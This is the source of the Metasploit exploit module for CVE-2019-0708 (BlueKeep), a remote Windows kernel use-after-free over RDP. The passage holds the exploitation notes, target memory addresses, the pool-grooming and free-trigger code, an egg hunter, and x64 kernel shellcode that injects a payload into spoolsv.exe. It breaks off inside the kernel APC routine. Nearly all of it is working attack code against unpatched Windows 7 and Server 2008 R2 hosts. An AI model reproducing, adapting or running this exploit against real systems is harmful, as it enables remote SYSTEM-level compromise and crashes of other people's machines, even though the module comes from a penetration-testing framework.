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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

#  Exploitation and Caveats from zerosum0x0:
#
#    1. Register with channel MS_T120 (and others such as RDPDR/RDPSND) nominally.
#    2. Perform a full RDP handshake, I like to wait for RDPDR handshake too (code in the .py)
#    3. Free MS_T120 with the DisconnectProviderIndication message to MS_T120.
#    4. RDP has chunked messages, so we use this to groom.
#       a. Chunked messaging ONLY works properly when sent to RDPSND/MS_T120.
#       b. However, on 7+, MS_T120 will not work and you have to use RDPSND.
#           i. RDPSND only works when
#              HKLM\SYSTEM\CurrentControlSet\Control\TerminalServer\Winstations\RDP-Tcp\fDisableCam = 0
#           ii. This registry key is not a default setting for server 2008 R2.
#              We should use alternate groom channels or at least detect the
#              channel in advance.
#    5. Use chunked grooming to fit new data in the freed channel, account for
#       the allocation header size (like 0x38 I think?). At offset 0x100? is where
#       the "call [rax]" gadget will get its pointer from.
#       a. The NonPagedPool (NPP) starts at a fixed address on XP-7
#           i. Hot-swap memory is another problem because, with certain VMWare and
#           Hyper-V setups, the OS allocates a buncha PTE stuff before the NPP
#           start. This can be anywhere from 100 mb to gigabytes of offset
#           before the NPP start.
#       b. Set offset 0x100 to NPPStart+SizeOfGroomInMB
#       c. Groom chunk the shellcode, at *(NPPStart+SizeOfGroomInMB) you need
#          [NPPStart+SizeOfGroomInMB+8...payload]... because "call [rax]" is an
#          indirect call
#       d. We are limited to 0x400 payloads by channel chunk max size. My
#          current shellcode is a twin shellcode with eggfinders. I spam the
#          kernel payload and user payload, and if user payload is called first it
#          will egghunt for the kernel payload.
#    6. After channel hole is filled and the NPP is spammed up with shellcode,
#       trigger the free by closing the socket.
#
#    TODO:
#    * Detect OS specifics / obtain memory leak to determine NPP start address.
#    * Write the XP/2003 portions grooming MS_T120.
#    * Detect if RDPSND grooming is working or not?
#    * Expand channels besides RDPSND/MS_T120 for grooming.
#        See https://unit42.paloaltonetworks.com/exploitation-of-windows-cve-2019-0708-bluekeep-three-ways-to-write-data-into-the-kernel-with-rdp-pdu/
#
#    https://github.com/0xeb-bp/bluekeep .. this repo has code for grooming
#    MS_T120 on XP... should be same process as the RDPSND

class MetasploitModule < Msf::Exploit::Remote

  Rank = ManualRanking

  USERMODE_EGG = 0xb00dac0fefe31337
  KERNELMODE_EGG = 0xb00dac0fefe42069

  CHUNK_SIZE = 0x400
  HEADER_SIZE = 0x48

  include Msf::Exploit::Remote::CheckModule
  include Msf::Exploit::Remote::RDP

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'CVE-2019-0708 BlueKeep RDP Remote Windows Kernel Use After Free',
      'Description'    => %q(
        The RDP termdd.sys driver improperly handles binds to internal-only channel MS_T120,
        allowing a malformed Disconnect Provider Indication message to cause use-after-free.
        With a controllable data/size remote nonpaged pool spray, an indirect call gadget of
        the freed channel is used to achieve arbitrary code execution.

        Windows 7 SP1 and Windows Server 2008 R2 are the only currently supported targets.

        Windows 7 SP1 should be exploitable in its default configuration, assuming your target
        selection is correctly matched to the system's memory layout.

        HKLM\SYSTEM\CurrentControlSet\Control\TerminalServer\Winstations\RDP-Tcp\fDisableCam
        *needs* to be set to 0 for exploitation to succeed against Windows Server 2008 R2.
        This is a non-standard configuration for normal servers, and the target will crash if
        the aforementioned Registry key is not set!

        If the target is crashing regardless, you will likely need to determine the non-paged
        pool base in kernel memory and set it as the GROOMBASE option.
      ),
      'Author' =>
      [
        'Sean Dillon <sean.dillon@risksense.com>',  # @zerosum0x0 - Original exploit
        'Ryan Hanson',                              # @ryHanson - Original exploit
        'OJ Reeves <oj@beyondbinary.io>',           # @TheColonial - Metasploit module
        'Brent Cook <bcook@rapid7.com>',            # @busterbcook - Assembly whisperer
      ],
      'License' => MSF_LICENSE,
      'References' =>
        [
          ['CVE', '2019-0708'],
          ['URL', 'https://github.com/zerosum0x0/CVE-2019-0708'],
          ['URL', 'https://zerosum0x0.blogspot.com/2019/11/fixing-remote-windows-kernel-payloads-meltdown.html']
        ],
      'DefaultOptions' =>
        {
          'RDP_CLIENT_NAME' => 'ethdev',
          'EXITFUNC' => 'thread',
          'CheckModule' => 'auxiliary/scanner/rdp/cve_2019_0708_bluekeep',
          'WfsDelay' => 5
        },
      'Privileged' => true,
      'Payload' =>
        {
          'Space' => CHUNK_SIZE - HEADER_SIZE,
          'EncoderType' => Msf::Encoder::Type::Raw,
        },
      'Platform' => 'win',
      'Targets' =>
        [
          [
            'Automatic targeting via fingerprinting',
            {
              'Arch' => [ARCH_X64],
              'FingerprintOnly' => true
            },
          ],
          #
          #
          # Windows 2008 R2 requires the following registry change from default:
          #
          # [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Terminal Server\WinStations\rdpwd]
          # "fDisableCam"=dword:00000000
          #
          [
            'Windows 7 SP1 / 2008 R2 (6.1.7601 x64)',
            {
              'Platform' => 'win',
              'Arch' => [ARCH_X64],
              'GROOMBASE' => 0xfffffa8003800000,
              'GROOMSIZE' => 100
            }
          ],
          [
            # This works with Virtualbox 6
            'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Virtualbox 6)',
            {
              'Platform' => 'win',
              'Arch' => [ARCH_X64],
              'GROOMBASE' => 0xfffffa8002407000
            }
          ],
          [
            # This address works on VMWare 14
            'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 14)',
            {
              'Platform' => 'win',
              'Arch' => [ARCH_X64],
              'GROOMBASE' => 0xfffffa8030c00000
            }
          ],
          [
            # This address works on VMWare 15
            'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 15)',
            {
              'Platform' => 'win',
              'Arch' => [ARCH_X64],
              'GROOMBASE' => 0xfffffa8018C00000
            }
          ],
          [
            # This address works on VMWare 15.1
            'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare 15.1)',
            {
              'Platform' => 'win',
              'Arch' => [ARCH_X64],
              'GROOMBASE' => 0xfffffa8018c08000
            }
          ],
          [
            'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Hyper-V)',
            {
              'Platform' => 'win',
              'Arch' => [ARCH_X64],
              'GROOMBASE' => 0xfffffa8102407000
            }
          ],
          [
            'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - AWS)',
            {
              'Platform' => 'win',
              'Arch' => [ARCH_X64],
              'GROOMBASE' => 0xfffffa8018c08000
            }
          ],
        ],
      'DefaultTarget' => 0,
      'DisclosureDate' => 'May 14 2019',
      'Notes' =>
        {
          'AKA' => ['Bluekeep']
        }
    ))

    register_advanced_options(
      [
        OptBool.new('ForceExploit', [false, 'Override check result', false]),
        OptInt.new('GROOMSIZE', [true, 'Size of the groom in MB', 250]),
        OptEnum.new('GROOMCHANNEL', [true, 'Channel to use for grooming', 'RDPSND', ['RDPSND', 'MS_T120']]),
        OptInt.new('GROOMCHANNELCOUNT', [true, 'Number of channels to groom', 1]),
        OptFloat.new('GROOMDELAY', [false, 'Delay in seconds between sending 1 MB of groom packets', 0])
      ]
    )
  end

  def exploit
    unless check == CheckCode::Vulnerable || datastore['ForceExploit']
      fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
    end

    if target['FingerprintOnly']
      fail_with(Msf::Module::Failure::BadConfig, 'Set the most appropriate target manually. If you are targeting 2008, make sure fDisableCam=0 !')
    end

    begin
      rdp_connect
    rescue ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError
      fail_with(Msf::Module::Failure::Unreachable, 'Unable to connect to RDP service')
    end

    is_rdp, server_selected_proto = rdp_check_protocol
    unless is_rdp
      fail_with(Msf::Module::Failure::Unreachable, 'Unable to connect to RDP service')
    end

    # We don't currently support NLA in the mixin or the exploit. However, if we have valid creds, NLA shouldn't stop us
    # from exploiting the target.
    if [RDPConstants::PROTOCOL_HYBRID, RDPConstants::PROTOCOL_HYBRID_EX].include?(server_selected_proto)
      fail_with(Msf::Module::Failure::BadConfig, 'Server requires NLA (CredSSP) security which mitigates this vulnerability.')
    end

    chans = [
      ['rdpdr', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP],
      [datastore['GROOMCHANNEL'], RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP],
      [datastore['GROOMCHANNEL'], RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP],
      ['MS_XXX0', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],
      ['MS_XXX1', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],
      ['MS_XXX2', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],
      ['MS_XXX3', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],
      ['MS_XXX4', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],
      ['MS_XXX5', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],
      ['MS_T120', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],
    ]

    @mst120_chan_id = 1004 + chans.length - 1

    unless rdp_negotiate_security(chans, server_selected_proto)
      fail_with(Msf::Module::Failure::Unknown, 'Negotiation of security failed.')
    end

    rdp_establish_session

    rdp_dispatch_loop
  end

private

  # This function is invoked when the PAKID_CORE_CLIENTID_CONFIRM message is
  # received on a channel, and this is when we need to kick off our exploit.
  def rdp_on_core_client_id_confirm(pkt, user, chan_id, flags, data)
    # We have to do the default behaviour first.
    super(pkt, user, chan_id, flags, data)

    groom_size = datastore['GROOMSIZE']
    pool_addr = target['GROOMBASE'] + (CHUNK_SIZE * 1024 * groom_size)
    groom_chan_count = datastore['GROOMCHANNELCOUNT']

    payloads = create_payloads(pool_addr)

    print_status("Using CHUNK grooming strategy. Size #{groom_size}MB, target address 0x#{pool_addr.to_s(16)}, Channel count #{groom_chan_count}.")

    target_channel_id = chan_id + 1

    spray_buffer = create_exploit_channel_buffer(pool_addr)
    spray_channel = rdp_create_channel_msg(self.rdp_user_id, target_channel_id, spray_buffer, 0, 0xFFFFFFF)
    free_trigger = spray_channel * 20 + create_free_trigger(self.rdp_user_id, @mst120_chan_id) + spray_channel * 80

    # if the exploit is cancelled during the free, target computer will explode
    print_warning("<---------------- | Entering Danger Zone | ---------------->")

    print_status("Surfing channels ...")
    rdp_send(spray_channel * 1024)
    rdp_send(free_trigger)

    chan_surf_size = 0x421
    spray_packets = (chan_surf_size / spray_channel.length) + [1, chan_surf_size % spray_channel.length].min
    chan_surf_packet = spray_channel * spray_packets
    chan_surf_count  = chan_surf_size / spray_packets

    chan_surf_count.times do
      rdp_send(chan_surf_packet)
    end

    print_status("Lobbing eggs ...")

    groom_mb = groom_size * 1024 / payloads.length

    groom_start_time = Process.clock_gettime(Process::CLOCK_MONOTONIC)

    groom_mb.times do |current_groom_count|
      tpkts = ''
      for c in 0..groom_chan_count
        payloads.each do |p|
          tpkts += rdp_create_channel_msg(self.rdp_user_id, target_channel_id + c, p, 0, 0xFFFFFFF)
        end
      end
      rdp_send(tpkts)

      # tasks we do every 1 MB
      if current_groom_count % (1024 / payloads.length) == 0

        # adding mouse move events keeps the connection alive
        # (this handles a groom duration > 30 seconds, such as over Internet/VPN)
        rdp_move_mouse

        # simulate slow connection if GROOMDELAY is set
        if datastore['GROOMDELAY'] && datastore['GROOMDELAY'] > 0
          sleep(datastore['GROOMDELAY'])
        end

        groom_current_time = Process.clock_gettime(Process::CLOCK_MONOTONIC)
        groom_elapsed_time = groom_current_time - groom_start_time
        groom_elapsed_str = "%02d:%02d:%02d" % [groom_elapsed_time / 3600,
                                                groom_elapsed_time / 60%60,
                                                groom_elapsed_time % 60]

        groom_mb_sent = current_groom_count / (1024 / payloads.length) + 1
        vprint_status("Sent #{groom_mb_sent}/#{groom_size} MB. (Time elapsed: #{groom_elapsed_str})")
      end
    end

    # Terminating and disconnecting forces the USE
    print_status("Forcing the USE of FREE'd object ...")

    # target is groomed, the early cancellation dangers are complete
    print_warning("<---------------- | Leaving Danger Zone | ---------------->")
    rdp_terminate
    rdp_disconnect
  end

  # Helper function to create the kernel mode payload and the usermode payload with
  # the egg hunter prefix.
  def create_payloads(pool_address)
    begin
      [kernel_mode_payload, user_mode_payload].map { |p|
        [
          pool_address + HEADER_SIZE + 0x10, # indirect call gadget, over this pointer + egg
          p
        ].pack('<Qa*').ljust(CHUNK_SIZE - HEADER_SIZE, "\x00")
      }
    rescue => ex
      print_error("#{ex.backtrace.join("\n")}: #{ex.message} (#{ex.class})")
    end
  end

  def assemble_with_fixups(asm)
    # Rewrite all instructions of form 'lea reg, [rel label]' as relative
    # offsets for the instruction pointer, since metasm's 'ModRM' parser does
    # not grok that syntax.
    lea_rel = /lea+\s(?<dest>\w{2,3}),*\s\[rel+\s(?<label>[a-zA-Z_].*)\]/
    asm.gsub!(lea_rel) do |match|
      match = "lea #{$1}, [rip + #{$2}]"
    end

    # metasm encodes all rep instructions as repnz
    # https://github.com/jjyg/metasm/pull/40
    asm.gsub!(/rep+\smovsb/, 'db 0xf3, 0xa4')

    encoded = Metasm::Shellcode.assemble(Metasm::X64.new, asm).encoded

    # Fixup above rewritten instructions with the relative label offsets
    encoded.reloc.each do |offset, reloc|
      target = reloc.target.to_s
      if encoded.export.key?(target)
        # Note: this assumes the address we're fixing up is at the end of the
        # instruction. This holds for 'lea' but if there are other fixups
        # later, this might need to change to account for specific instruction
        # encodings
        if reloc.type == :i32
          instr_offset = offset + 4
        elsif reloc.type == :i16
          instr_offset = offset + 2
        end
        encoded.fixup(target => encoded.export[target] - instr_offset)
      else
        raise "Unknown symbol '#{target}' while resolving relative offsets"
      end
    end
    encoded.fill
    encoded.data
  end

  # The user mode payload has two parts. The first is an egg hunter that searches for
  # the kernel mode payload. The second part is the actual payload that's invoked in
  # user land (ie. it's injected into spoolsrv.exe). We need to spray both the kernel
  # and user mode payloads around the heap in different packets because we don't have
  # enough space to put them both in the same chunk. Given that code exec can result in
  # landing on the user land payload, the egg is used to go to a kernel payload.
  def user_mode_payload

    asm = %Q^
_start:
    lea rcx, [rel _start]
    mov r8, 0x#{KERNELMODE_EGG.to_s(16)}
_egg_loop:
    sub rcx, 0x#{CHUNK_SIZE.to_s(16)}
    sub rax, 0x#{CHUNK_SIZE.to_s(16)}
    mov rdx, [rcx - 8]
    cmp rdx, r8
    jnz _egg_loop
    jmp rcx
    ^
    egg_loop = assemble_with_fixups(asm)

    # The USERMODE_EGG is required at the start as well, because the exploit code
    # assumes the tag is there, and jumps over it to find the shellcode.
    [
      USERMODE_EGG,
      egg_loop,
      USERMODE_EGG,
      payload.raw
    ].pack('<Qa*<Qa*')
  end

  def kernel_mode_payload

    # Windows x64 kernel shellcode from ring 0 to ring 3 by sleepya
    #
    # This shellcode was written originally for eternalblue exploits
    # eternalblue_exploit7.py and eternalblue_exploit8.py
    #
    # Idea for Ring 0 to Ring 3 via APC from Sean Dillon (@zerosum0x0)
    #
    # Note:
    # - The userland shellcode is run in a new thread of system process.
    #     If userland shellcode causes any exception, the system process get killed.
    # - On idle target with multiple core processors, the hijacked system call
    #     might take a while (> 5 minutes) to get called because the system
    #     call may be called on other processors.
    # - The shellcode does not allocate shadow stack if possible for minimal shellcode size.
    #     This is ok because some Windows functions do not require a shadow stack.
    # - Compiling shellcode with specific Windows version macro, corrupted buffer will be freed.
    #     Note: the Windows 8 version macros are removed below
    # - The userland payload MUST be appened to this shellcode.
    #
    # References:
    # - http://www.geoffchappell.com/studies/windows/km/index.htm (structures info)
    # - https://github.com/reactos/reactos/blob/master/reactos/ntoskrnl/ke/apc.c

    data_kapc_offset           = 0x30

    data_hal_original_syscall_shadow_common_offset_offset = 0x20
    data_hal_fake_syscall_spinlock_offset = 0x10

    data_nt_kernel_addr_offset = 0x8
    data_origin_syscall_offset = 0
    data_peb_addr_offset       = -0x10
    data_queueing_kapc_offset  = -0x8
    hal_heap_storage           = 0xffffffffffd04100

    # These hashes are not the same as the ones used by the
    # Block API so they have to be hard-coded.
    createthread_hash              = 0x835e515e
    keinitializeapc_hash           = 0x6d195cc4
    keinsertqueueapc_hash          = 0xafcc4634
    psgetcurrentprocess_hash       = 0xdbf47c78
    psgetprocessid_hash            = 0x170114e1
    psgetprocessimagefilename_hash = 0x77645f3f
    psgetprocesspeb_hash           = 0xb818b848
    psgetthreadteb_hash            = 0xcef84c3e
    spoolsv_exe_hash               = 0x3ee083d8
    zwallocatevirtualmemory_hash   = 0x576e99ea

    asm = %Q^
shellcode_start:
    ; egg tag
    nop
    nop
    nop
    nop

setup_syscall_shadow_hook:
    ; IRQL is PASSIVE_LEVEL when got code execution
    ;int 0x3

    mov rbp, #{hal_heap_storage}

    ; allow interrupts while executing shellcode
    sti
    call r3_to_r0_start
    cli

    ;--------------------- HACK crappy thread cleanup --------------------
    ; This code is effectively the same as the epilogue of the function that calls
    ; the vulnerable function in the kernel, with a tweak or two.
    ; TODO: make the lock not suck!!
    mov     rax, qword [gs:0x188]
    add     word [rax+0x1C4], 1       ; KeGetCurrentThread()->KernelApcDisable++
    lea     r11, [rsp+0b8h]
    xor     eax, eax
    mov     rbx, [r11+30h]
    mov     rbp, [r11+40h]
    mov     rsi, [r11+48h]
    mov     rsp, r11
    pop     r15
    pop     r14
    pop     r13
    pop     r12
    pop     rdi
    ret

r3_to_r0_start:
    ; save used non-volatile registers
    push r15
    push r14
    push rdi
    push rsi
    push rbx
    push rax    ; align stack by 0x10

    ;======================================
    ; find nt kernel address
    ;======================================
    mov r15, qword [gs:0x38]                          ; get IdtBase of KPCR
    mov r15, qword [r15 + 0x4]                        ; get ISR address
    shr r15, 0xc                                      ; strip to page size
    shl r15, 0xc

_x64_find_nt_walk_page:
    sub r15, 0x1000             ; walk along page size
    cmp word [r15], 0x5a4d      ; 'MZ' header
    jne _x64_find_nt_walk_page

    ; save nt address for using in KernelApcRoutine
    mov [rbp+#{data_nt_kernel_addr_offset}], r15

    ;======================================
    ; get current EPROCESS and ETHREAD
    ;======================================
    mov r14, qword [gs:0x188]    ; get _ETHREAD pointer from KPCR
    mov edi, #{psgetcurrentprocess_hash}
    call win_api_direct
    xchg rcx, rax       ; rcx = EPROCESS

    ; r15 : nt kernel address
    ; r14 : ETHREAD
    ; rcx : EPROCESS

    ;======================================
    ; find offset of EPROCESS.ImageFilename
    ;======================================
    mov edi, #{psgetprocessimagefilename_hash}
    call get_proc_addr
    mov eax, dword [rax+3]  ; get offset from code (offset of ImageFilename is always > 0x7f)
    mov ebx, eax        ; ebx = offset of EPROCESS.ImageFilename


    ;======================================
    ; find offset of EPROCESS.ThreadListHead
    ;======================================
    ; possible diff from ImageFilename offset is 0x28 and 0x38 (Win8+)
    ; if offset of ImageFilename is more than 0x400, current is (Win8+)

    cmp eax, 0x400      ; eax is still an offset of EPROCESS.ImageFilename
    jb _find_eprocess_threadlist_offset_win7
    add eax, 0x10
_find_eprocess_threadlist_offset_win7:
    lea rdx, [rax+0x28] ; edx = offset of EPROCESS.ThreadListHead

    ;======================================
    ; find offset of ETHREAD.ThreadListEntry
    ;======================================

    lea r8, [rcx+rdx]   ; r8 = address of EPROCESS.ThreadListHead
    mov r9, r8

    ; ETHREAD.ThreadListEntry must be between ETHREAD (r14) and ETHREAD+0x700
_find_ethread_threadlist_offset_loop:
    mov r9, qword [r9]

    cmp r8, r9          ; check end of list
    je _insert_queue_apc_done    ; not found !!!

    ; if (r9 - r14 < 0x700) found
    mov rax, r9
    sub rax, r14
    cmp rax, 0x700
    ja _find_ethread_threadlist_offset_loop
    sub r14, r9         ; r14 = -(offset of ETHREAD.ThreadListEntry)


    ;======================================
    ; find offset of EPROCESS.ActiveProcessLinks
    ;======================================
    mov edi, #{psgetprocessid_hash}
    call get_proc_addr
    mov edi, dword [rax+3]  ; get offset from code (offset of UniqueProcessId is always > 0x7f)
    add edi, 8      ; edi = offset of EPROCESS.ActiveProcessLinks = offset of EPROCESS.UniqueProcessId + sizeof(EPROCESS.UniqueProcessId)


    ;======================================
    ; find target process by iterating over EPROCESS.ActiveProcessLinks WITHOUT lock
    ;======================================
    ; check process name


    xor eax, eax      ; HACK to exit earlier if process not found

_find_target_process_loop:
    lea rsi, [rcx+rbx]

    push rax
    call calc_hash
    cmp eax, #{spoolsv_exe_hash}  ; "spoolsv.exe"
    pop rax
    jz found_target_process

;---------- HACK PROCESS NOT FOUND start -----------
    inc rax
    cmp rax, 0x300      ; HACK not found!
    jne _next_find_target_process
    xor ecx, ecx
    ; clear queueing kapc flag, allow other hijacked system call to run shellcode
    mov byte [rbp+#{data_queueing_kapc_offset}], cl

    jmp _r3_to_r0_done

;---------- HACK PROCESS NOT FOUND end -----------

_next_find_target_process:
    ; next process
    mov rcx, [rcx+rdi]
    sub rcx, rdi
    jmp _find_target_process_loop


found_target_process:
    ; The allocation for userland payload will be in KernelApcRoutine.
    ; KernelApcRoutine is run in a target process context. So no need to use KeStackAttachProcess()

    ;======================================
    ; save process PEB for finding CreateThread address in kernel KAPC routine
    ;======================================
    mov edi, #{psgetprocesspeb_hash}
    ; rcx is EPROCESS. no need to set it.
    call win_api_direct
    mov [rbp+#{data_peb_addr_offset}], rax


    ;======================================
    ; iterate ThreadList until KeInsertQueueApc() success
    ;======================================
    ; r15 = nt
    ; r14 = -(offset of ETHREAD.ThreadListEntry)
    ; rcx = EPROCESS
    ; edx = offset of EPROCESS.ThreadListHead


    lea rsi, [rcx + rdx]    ; rsi = ThreadListHead address
    mov rbx, rsi    ; use rbx for iterating thread

    ; checking alertable from ETHREAD structure is not reliable because each Windows version has different offset.
    ; Moreover, alertable thread need to be waiting state which is more difficult to check.
    ; try queueing APC then check KAPC member is more reliable.

_insert_queue_apc_loop:
    ; move backward because non-alertable and NULL TEB.ActivationContextStackPointer threads always be at front
    mov rbx, [rbx+8]

    cmp rsi, rbx
    je _insert_queue_apc_loop   ; skip list head

    ; find start of ETHREAD address
    ; set it to rdx to be used for KeInitializeApc() argument too
    lea rdx, [rbx + r14]    ; ETHREAD

    ; userland shellcode (at least CreateThread() function) need non NULL TEB.ActivationContextStackPointer.
    ; the injected process will be crashed because of access violation if TEB.ActivationContextStackPointer is NULL.
    ; Note: APC routine does not require non-NULL TEB.ActivationContextStackPointer.
    ; from my observation, KTRHEAD.Queue is always NULL when TEB.ActivationContextStackPointer is NULL.
    ; Teb member is next to Queue member.
    mov edi, #{psgetthreadteb_hash}
    call get_proc_addr
    mov eax, dword [rax+3]      ; get offset from code (offset of Teb is always > 0x7f)
    cmp qword [rdx+rax-8], 0    ; KTHREAD.Queue MUST not be NULL
    je _insert_queue_apc_loop

    ; KeInitializeApc(PKAPC,
    ;                 PKTHREAD,
    ;                 KAPC_ENVIRONMENT = OriginalApcEnvironment (0),
    ;                 PKKERNEL_ROUTINE = kernel_apc_routine,
    ;                 PKRUNDOWN_ROUTINE = NULL,
    ;                 PKNORMAL_ROUTINE = userland_shellcode,
    ;                 KPROCESSOR_MODE = UserMode (1),
    ;                 PVOID Context);
    lea rcx, [rbp+#{data_kapc_offset}]     ; PAKC
    xor r8, r8      ; OriginalApcEnvironment
    lea r9, [rel kernel_kapc_routine]    ; KernelApcRoutine
    push rbp    ; context
    push 1      ; UserMode
    push rbp    ; userland shellcode (MUST NOT be NULL)
    push r8     ; NULL
    sub rsp, 0x20   ; shadow stack
    mov edi, #{keinitializeapc_hash}
    call win_api_direct
    ; Note: KeInsertQueueApc() requires shadow stack. Adjust stack back later

    ; BOOLEAN KeInsertQueueApc(PKAPC, SystemArgument1, SystemArgument2, 0);
    ;   SystemArgument1 is second argument in usermode code (rdx)
    ;   SystemArgument2 is third argument in usermode code (r8)
    lea rcx, [rbp+#{data_kapc_offset}]
    ;xor edx, edx   ; no need to set it here
    ;xor r8, r8     ; no need to set it here
    xor r9, r9
    mov edi, #{keinsertqueueapc_hash}
    call win_api_direct
    add rsp, 0x40
    ; if insertion failed, try next thread
    test eax, eax
    jz _insert_queue_apc_loop

    mov rax, [rbp+#{data_kapc_offset}+0x10]     ; get KAPC.ApcListEntry
    ; EPROCESS pointer 8 bytes
    ; InProgressFlags 1 byte
    ; KernelApcPending 1 byte
    ; if success, UserApcPending MUST be 1
    cmp byte [rax+0x1a], 1
    je _insert_queue_apc_done

    ; manual remove list without lock
    mov [rax], rax
    mov [rax+8], rax
    jmp _insert_queue_apc_loop

_insert_queue_apc_done:
    ; The PEB address is needed in kernel_apc_routine. Setting QUEUEING_KAPC to 0 should be in kernel_apc_routine.

_r3_to_r0_done:
    pop rax
    pop rbx
    pop rsi
    pop rdi
    pop r14
    pop r15
    ret

;========================================================================
; Call function in specific module
;
; All function arguments are passed as calling normal function with extra register arguments
; Extra Arguments: r15 = module pointer
;                  edi = hash of target function name
;========================================================================
win_api_direct:
    call get_proc_addr
    jmp rax


;========================================================================
; Get function address in specific module
;
; Arguments: r15 = module pointer
;            edi = hash of target function name
; Return: eax = offset
;========================================================================
get_proc_addr:
    ; Save registers
    push rbx
    push rcx
    push rsi                ; for using calc_hash

    ; use rax to find EAT
    mov eax, dword [r15+60]  ; Get PE header e_lfanew
    mov eax, dword [r15+rax+136] ; Get export tables RVA

    add rax, r15
    push rax                 ; save EAT

    mov ecx, dword [rax+24]  ; NumberOfFunctions
    mov ebx, dword [rax+32]  ; FunctionNames
    add rbx, r15

_get_proc_addr_get_next_func:
    ; When we reach the start of the EAT (we search backwards), we hang or crash
    dec ecx                     ; decrement NumberOfFunctions
    mov esi, dword [rbx+rcx*4]  ; Get rva of next module name
    add rsi, r15                ; Add the modules base address

    call calc_hash

    cmp eax, edi                        ; Compare the hashes
    jnz _get_proc_addr_get_next_func    ; try the next function

_get_proc_addr_finish:
    pop rax                     ; restore EAT
    mov ebx, dword [rax+36]
    add rbx, r15                ; ordinate table virtual address
    mov cx, word [rbx+rcx*2]    ; desired functions ordinal
    mov ebx, dword [rax+28]     ; Get the function addresses table rva
    add rbx, r15                ; Add the modules base address
    mov eax, dword [rbx+rcx*4]  ; Get the desired functions RVA
    add rax, r15                ; Add the modules base address to get the functions actual VA

    pop rsi
    pop rcx
    pop rbx
    ret

;========================================================================
; Calculate ASCII string hash. Useful for comparing ASCII string in shellcode.
;
; Argument: rsi = string to hash
; Clobber: rsi
; Return: eax = hash
;========================================================================
calc_hash:
    push rdx
    xor eax, eax
    cdq
_calc_hash_loop:
    lodsb                   ; Read in the next byte of the ASCII string
    ror edx, 13             ; Rotate right our hash value
    add edx, eax            ; Add the next byte of the string
    test eax, eax           ; Stop when found NULL
    jne _calc_hash_loop
    xchg edx, eax
    pop rdx
    ret


; KernelApcRoutine is called when IRQL is APC_LEVEL in (queued) Process context.
; But the IRQL is simply raised from PASSIVE_LEVEL in KiCheckForKernelApcDelivery().
; Moreover, there is no lock when calling KernelApcRoutine.
; So KernelApcRoutine can simply lower the IRQL by setting cr8 register.
;
; VOID KernelApcRoutine(
;           IN PKAPC Apc,
;           IN PKNORMAL_ROUTINE *NormalRoutine,
;           IN PVOID *NormalContext,
;           IN PVOID *SystemArgument1,
;           IN PVOID *SystemArgument2)
kernel_kapc_routine:
    push rbp
    push rbx
    push rdi
    push rsi
    push r15

    mov rbp, [r8]       ; *NormalContext is our data area pointer

    mov r15, [rbp+#{data_nt_kernel_addr_offset}]
    push rdx
    pop rsi     ; mov rsi, rdx
    mov rbx, r9

    ;======================================
    ; ZwAllocateVirtualMemory(-1, &baseAddr, 0, &0x1000, 0x1000, 0x40)
    ;======================================
    xor eax, eax
    mov cr8, rax    ; set IRQL to PASSIVE_LEVEL (ZwAllocateVirtualMemory() requires)
    ; rdx is already address of baseAddr
    mov [rdx], rax      ; baseAddr = 0
    mov ecx, eax
    not rcx             ; ProcessHandle = -1
    mov r8, rax         ; ZeroBits
    mov al, 0x40    ; eax = 0x40
    push rax            ; PAGE_EXECUTE_READWRITE = 0x40
    shl eax, 6      ; eax = 0x40 << 6 = 0x1000
    push rax            ; MEM_COMMIT = 0x1000
    ; reuse r9 for address of RegionSize
    mov [r9], rax       ; RegionSize = 0x1000
    sub rsp, 0x20   ; shadow stack
    mov edi, #{zwallocatevirtualmemory_hash}
    call win_api_direct
    add rsp, 0x30

    ; check error
    test eax, eax
    jnz _kernel_kapc_routine_exit

    ;======================================
    ; copy userland payload
    ;======================================
    mov rdi, [rsi]

;--------------------------- HACK IN EGG USER ---------

    push rdi

    lea rsi, [rel shellcode_start]
    mov rdi, 0x#{USERMODE_EGG.to_s(16)}

  _find_user_egg_loop:
      sub rsi, 0x#{CHUNK_SIZE.to_s(16)}
      mov rax, [rsi - 8]
      cmp rax, rdi
      jnz _find_user_egg_loop

  _inner_find_user_egg_loop:
      inc rsi
      mov rax, [rsi - 8]
      cmp rax, rdi
      jnz _inner_find_user_egg_loop

    pop rdi
;--------------------------- END HACK EGG USER ------------

    mov ecx, 0x380  ; fix payload size to 0x380 bytes

